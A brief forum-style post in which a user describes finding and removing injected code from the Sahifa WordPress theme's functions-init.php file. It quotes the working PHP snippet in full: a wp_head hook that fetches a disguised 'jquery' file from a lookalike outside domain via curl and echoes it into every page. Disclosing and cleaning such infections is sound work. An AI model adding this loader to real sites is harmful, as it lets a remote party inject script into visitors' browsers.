I solved the problem on my SAHIFA WordPress theme
I found the code
<?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){if (function_exists('curl_init')){$url = "https://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_slider');} ?>
at this Sahifa / includes / functions-init.php
Then I remain only `<?php?>
Upload again to my site on the same directory..